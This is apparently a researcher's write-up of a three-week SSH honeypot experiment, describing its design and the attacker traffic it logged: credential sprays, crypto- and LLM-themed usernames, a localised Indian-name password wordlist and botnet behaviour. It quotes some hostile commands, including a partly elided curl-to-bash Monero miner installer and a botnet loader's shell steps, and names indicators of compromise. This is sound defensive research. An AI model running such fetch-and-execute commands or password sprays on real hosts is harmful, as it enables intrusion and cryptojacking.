Over the last month, we have been experimenting with designing and deploying an SSH deception environment meant to waste attacker resources. This is not a traditional tarpit like endlessh, which sends an endless, random SSH banner. Instead, our approach tries to waste as much attacker time as possible by convincing them the machine they’ve accessed has data worth exfiltrating.
Going in, we were aware that such environments are tempting as targets only when placed within believable infrastructure. However, we were also interested in seeing how attackers would engage with our “machine” when deployed as a standalone instance within a public cloud. Our interest here was to profile post-authentication attacker behaviour.
Environment design
We built this version of our environment in Python on top of asyncssh. The “machine” presents itself as OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 to blend in with a typical cloud Linux host. When a connection arrives, the server logs the source IP and time. The attacker (peer) then interacts with our environment at the following three layers:
1. Authentication
Instead of accepting any supplied credential — which we thought might inform attackers that they’re interacting with a tarpit or honeypot — we track every distinct credential pair (username, password) a peer tries and tie it to their source IP.
Note: We deliberately did not use SSH public-key fingerprints as an identifier here, because those only exist when an attacker chooses to attempt public-key authentication, which most do not.
For each source IP, we pick a random integer N between 1 and 3. The Nth distinct credential pair the attacker submits is accepted and locked. From that point on, that exact pair always succeeds, and any other pair always fails. Re-trying a previously failed pair never works either, so an attacker who tried root/root first will continue to be told root/root is wrong forever. The intention behind this is to make it harder for bots to discern that this is a honeypot, while still allowing some attempts to reach the shell so that we can observe post-authentication behaviour.
Public-key authentication attempts are rejected, forcing clients to fall back to password authentication, though we do log offered key fingerprints.
2. Virtual filesystem
Once an attacker has authenticated, they land in a fake shell backed by a lazy, deterministic, infinite virtual filesystem. There is no on-disk state. Every directory listing is regenerated on demand by hashing (global_seed, path) and sampling from corpora of plausible filenames — lure files, English dictionary words, and entries from the SecLists raft-large-files.txt web-content wordlist. Files do not exist until something asks for them, and their contents are produced by lure/bloat generators.
The filesystem has two noteworthy properties.
- First, the same path always yields the same listing for the lifetime of a seed, so an attacker who runs
lstwice sees a stable world. - Second, every directory has children, with no bottom to recursion, so an attacker running
find /ortar czf loot.tgz /is committing to an infinite walk.
3. Shell
A command dispatcher implements a minimal Linux userland with ls, cat, cd, find, grep, ps, uname, apt, curl, and so on. Output is throttled to a configurable bandwidth (default 300 B/s), so that “exfiltration” is slow, even when the attacker succeeds in reading a supposed “credentials” file. Cycle and bloat traps punish recursive tools by yielding lure files that expand without termination.
Interactions are logged as structured JSON output keyed on source IP, so that connection lifecycles, credential pairs tried, commands executed, and paths walked can be reconstructed offline.
Our experiment
We deployed our deception environment on a single public-cloud instance with no advertised infrastructure around it. Over roughly three weeks we logged around 181,000 events, 47,000 closed connections, and 26,000 captured credential pairs on port 22. We explore some findings from our experiment below.
ASN, geolocation, and hostname data referenced from here on (both in the tables and in the per-IP popovers reachable via the (i) button next to each address) was pulled using ipinfo.io at the time of writing.
Crypto-flavoured targeting
The username distribution is largely what one would expect from a public-cloud credential spray. root is at the top, followed by the familiar admin and service accounts admin, user, ubuntu, ansible, oracle, postgres, hadoop, mysql. The chart below ranks the top 40 usernames by total authentication attempts.
We also observed the usernames sol, solv, and solana, which together account for 780 attempts. These appear alongside lower-volume names like validator (53), ethereum (42), trader (42), and node (82) and appear to be targeting hosted software for the Solana and Ethereum cryptocurrencies respectively.
Two peers (5.75.203.70 and 5.75.200.1) successfully authenticated as root and ran curl … xmrig_setup … bash -s … with Monero wallet addresses inline. The first peer used wallet 45X8Lw…ZL18a1eo against the download.c3pool.org xmrig_setup installer. The second peer used wallet 43SWag…GApPGr1P against an installer hosted at the github.com/ApexDms/pv repository (pool9.sh).
Note: The GitHub account is still live at the time of writing and should be treated as an active indicator of compromise. Both wallets in full, alongside the installer URLs, are released in
payload_iocs.txt.
LLM-flavoured targeting
A peer at 45.156.87.99 cycled through LLM-flavoured credentials, chatgpt/chatgpt, claude/claude123, and gpt/gpt on April 21. As far as we know, these credential pairs do not currently appear in popular lists.
Localised wordlist sprays
For most of the deployment, password sprays against root looked the same as they have for a decade. We observed attempts for 123456, admin, root, P@ssw0rd, and the occasional 1qaz@WSX. However, we also observed localised wordlists targeting our environment.
Between April 22 and May 1, peer 172.83.83.85 made 3,483 password attempts against root, with 3,340 unique passwords. The very first password was India@123. The corpus that followed appears to have been constructed with common Indian first names, surnames, and other nouns:
Aarav@123 Vivaan@123 Aditya@123 Vihaan@123
Krishna@123 Ishaan@123 Rohan@123 Karan@123
Manav@123 Yash@123 Aryan@123 Raghav@123
Nikhil@123 Kunal@123 Siddharth@123 Pranav@123
Varun@123 Tejas@123 Vikram@123 Mihir@123
Naveen@123 Deepak@123 Vivek@123 Sameer@123
Ramesh@123 Gaurav@123 Sanjay@123 Piyush@123
Harshit@123 Ravi@123 ...
The peer cycled a password corpus made up of the following variations: Name@123, Name@1234, Name123, and Name1234. The rough split of the 3,340 unique entries is below:
| Variant | Count |
|---|---|
| Name@123 | 1,359 |
| Name@1234 | 472 |
| Name123 | 659 |
| Name1234 | 3 |
| Other (no Name@N pattern) | 847 |
The 847-entry residual is dominated by leetspeak variations on admin and password as bases, with numeric and special-character substitutions like P@$$w0rd1234!, Adm1n2019!, and Password.1234.
172.83.83.85, the peer responsible for these attempts, sits inside AS1037 operated by RackBank Datacenters Pvt. Ltd. in Indore, Madhya Pradesh, and was by far the loudest user of this style. It was not the only one, however. Another peer, 139.59.30.229, a DigitalOcean droplet in Karnataka, ran a smaller version of the same pattern, mixing Indian first names like Bhuvan@123, Ganesh@123, Rakesh@123, and Salman@123 into an otherwise generic credential dictionary.
It is worth highlighting that our environment was also deployed within DigitalOcean’s Bangalore IP range. We did not observe a comparable cluster for any other locale, though we expect that we might have, had we deployed our environment in another region.
Research traffic
One of the more disciplined peers we observed was an Internet measurement collection server (139.19.117.130) from the Max Planck Institute for Informatics. Across the fourteen-day window we observed it, it connected 107 times and made 210 public-key authentication attempts across 68 distinct keys. Password authentication was not attempted by this peer.
Our longest hold
Moving past authentication, the longest connection we held, 61.3 hours from 165.245.178.73 (DigitalOcean), was a stuck client. The peer made two authentication attempts in the first 30 seconds, both of which failed, and then sat idle for two and a half days until the kernel TCP timeout finally tore the socket down.
{"component": "tarpit", "peer": "165.245.178.73", "peer_port": 55206, "client_version": "", "active": 1, "event": "connection_open", "level": "info", "ts": "2026-04-28T00:31:54.980278Z"}
{"component": "tarpit", "peer": "165.245.178.73", "user": "root", "event": "auth_begin", "level": "info", "ts": "2026-04-28T00:31:58.564248Z"}
{"component": "tarpit", "peer": "165.245.178.73", "user": "root", "method": "kbdint", "password": "adminroot", "accepted": false, "reason": "attempt_1_of_3", "event": "auth_attempt", "level": "info", "ts": "2026-04-28T00:32:02.023393Z"}
{"component": "tarpit", "peer": "165.245.178.73", "user": "root", "method": "kbdint", "password": "adminroot", "accepted": false, "reason": "already_tried", "event": "auth_attempt", "level": "info", "ts": "2026-04-28T00:32:23.772219Z"}
{"component": "tarpit", "peer": "165.245.178.73", "peer_port": 55206, "duration_s": 220623.934, "error": "ConnectionLost('Connection lost')", "event": "connection_close", "level": "info", "ts": "2026-04-30T13:48:58.914464Z"}
This was very clearly an outlier, as the rest of our long-running connections cluster at around 2 hours, also without any recorded interactions. The actual interactive sessions we observed were in the one-to-thirty-minute range, and far fewer in number.
Interactive shell sessions
In these instances, the peer opens a channel and asks for a PTY + shell.
| Peer | Sessions | Cumulative | Longest |
|---|---|---|---|
| 95.85.251.190 (Helsinki, FI — AS201988 VPSPay) | 9 | 748.4s (~12.5min) | 650.6s |
| 5.75.203.70 (Nürnberg, DE — AS24940 Hetzner) | 5 | 730.1s (~12.2min) | 473.4s |
| 202.166.207.233 (Kathmandu, NP — AS17501 WorldLink) | 2 | 45.3s | 43.9s |
| 5.75.200.1 (Nürnberg, DE — AS24940 Hetzner) | 4 | 43.7s | 18.6s |
| 117.72.175.151 (Tianjin, CN — AS141679 China Telecom) | 3 | 43.0s | 15.8s |
| 129.204.16.133 (Guangzhou, CN — AS45090 Tencent) | 1 | 19.6s | 19.6s |
| 36.64.131.10 (Surabaya, ID — AS7713 Telkom Indonesia) | 2 | 13.7s | 13.1s |
| 213.21.239.4 (Amsterdam, NL — AS211443 Sino Worldwide Trading) | 1 | 13.4s | 13.4s |
Non-interactive command execution
In these instances, the peer opens a channel and instead of asking for a shell, sends a single command via SSH’s exec request, like ssh user@host 'uname -a'.
| Peer | Conns | Exec cmds | Cumulative |
|---|---|---|---|
| 103.49.129.154 (Noida, IN — AS153786 Serverstep) | 3 | 104 | 2,686s (~45min) |
| 86.38.24.201 (Bucharest, RO — AS214208 Elisteka) | 1 | 3 | 1,832s (~30min) |
| 175.199.7.55 (Goseong, KR — AS4766 Korea Telecom) | 1 | 3 | 1,448s |
| 43.160.206.89 (Singapore, SG — AS132203 Tencent) | 1 | 4 | 920s |
| 80.113.20.70 (Eindhoven, NL — AS33915 Vodafone Libertel) | 1 | 3 | 784s |
| 5.75.203.70 (Nürnberg, DE — AS24940 Hetzner) | 3 | 13 | 527s |
| 45.156.87.209 (Hopel, NL — AS51396 Pfcloud) | 1 | 35 | 422s |
| 117.50.130.63 (Beijing, CN — AS23724 China Telecom IDC) | 1 | 1 | 390s |
| 86.38.24.97 (Bucharest, RO — AS214208 Elisteka) | 1 | 13 | 325s |
| 103.192.199.168 (Indore, IN — AS59187 Neevai Supercloud) | 3 | 105 | 148s |
| 2.57.122.238 (Timișoara, RO — AS47890 Unmanaged Ltd) | 20 | 137 | 91s |
Note: Times shown are full SSH connection durations (close − open), not per-command execution times. A single connection running many commands contributes one duration to the totals.
Confused botnet workers
34 distinct peers spread across networks in North America, Europe, and Asia, used the password !n=nOcdoa#@dbhl against the user kube. These peers ran the same loader sequence, which involved picking a writable temporary directory, counting CPUs, then writing a worker script and persisting it via crontab.
The loader’s first command was:
sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done'
In a real shell, this prints the first writable directory. In our fake shell, neither sh, do, nor done are recognised commands, so we returned four lines of bash: <cmd>: command not found plus a stray /home/kube. The loader’s next command interpreted that output as the new working directory:
cd "bash: sh: command not found
bash: do: command not found
/home/kube
bash: break: command not found
bash: done': command not found" && if [ ! -f "w.sh" ]; then cat > "w.sh" ...
The kube-botnet sessions that reached the cat > w.sh redirect step crashed with ProtocolError("'utf-8' codec can't decode byte 0xa0 in position 24"), with the bots’ attempts at piping an ELF payload into a cat > redirect failing.
Limitations
The premise we wanted to test — that we could draw in a real attacker and convincingly waste their time inside a deception environment — was not sufficiently tested. We instead saw opportunistic wordlist attacks against common user and service accounts, and minimal interaction with our virtual filesystem after successful authentication.
Targeted attackers usually do not SSH into random IPs within public cloud environments. We also did not surround our instance with the kind of believable infrastructure that would make it a tempting next hop. We anticipated this going in, and find the results to still be useful for observing opportunistic post-authentication behaviour, however, this is not the deception experiment we eventually want to run.
We also encountered a bug during our deployment. AttributeError: module 'asyncssh' has no attribute 'SoftEOFReceived' fired eight times, mostly in the kube-botnet sessions where the bot pushed an EOF after its cat > redirect. The shell handler caught it as a generic session crash and closed the channel, so the attacker only saw a disconnect. This is not ideal for holding sessions for as long as possible, and is worth fixing.
Conclusion
For our next iteration, we plan to address both limitations.
- First, we are going to drop the environment into a context that appears as close as possible to real infrastructure, so that a targeted attacker’s engagement with our environment is driven by the sense of a payoff.
- Second, and more interestingly, we want to swap the lazy, deterministic virtual filesystem for an actual filesystem.
As it stands, the virtual filesystem is implausible and should not hold up to scrutiny of an attacker with a basic understanding of the command line. Some lazy choices were made, like the hardcoded date and time of Apr 9 12:34, which break believability further.
A real, interactable filesystem pre-seeded with synthesised content is the obvious approach around this. It should also hold up better against a patient human attacker, letting us observe which lures they actually open and which ones they ignore. We expect to give up the infinite recursion trick in exchange, but that is acceptable to us.
What we are releasing
Alongside this writeup, we are publishing the raw artefacts we relied on.
Everything below is observational data from a single instance over roughly three weeks. We did not expect to be releasing a threat report as part of our experiment, and therefore none of the data provided is curated or attributed beyond what is indicated by the logs.
peers.tsv— 386 source IP addresses that issued at least one SSH authentication attempt against our environment, where each row carries the peer’s total attempt count, how many were accepted under our credential-locking scheme, the number of distinct usernames tried, the methods used (password,kbdint,publickey), and first- and last-seen UTC timestamps.credential_pairs.tsv— 25,980 distinct(username, password)pairs we observed on the password and keyboard-interactive paths, sorted by frequency.wordlist_indian_names.txt— the full chronological 3,483-entry wordlist from 172.83.83.85 (the RackBank/Indore peer), released as a clean reference corpus for anyone studying localisation of wordlists.payload_iocs.txt— eight payload-fetch URLs, theApexDms/pvGitHub repository, and two Monero wallet addresses observed inline inxmrig_setupinvocations.raw_exec_corpus.txt— the 1,488 raw SSHexec_commandrequests we received (excluding our own test traffic).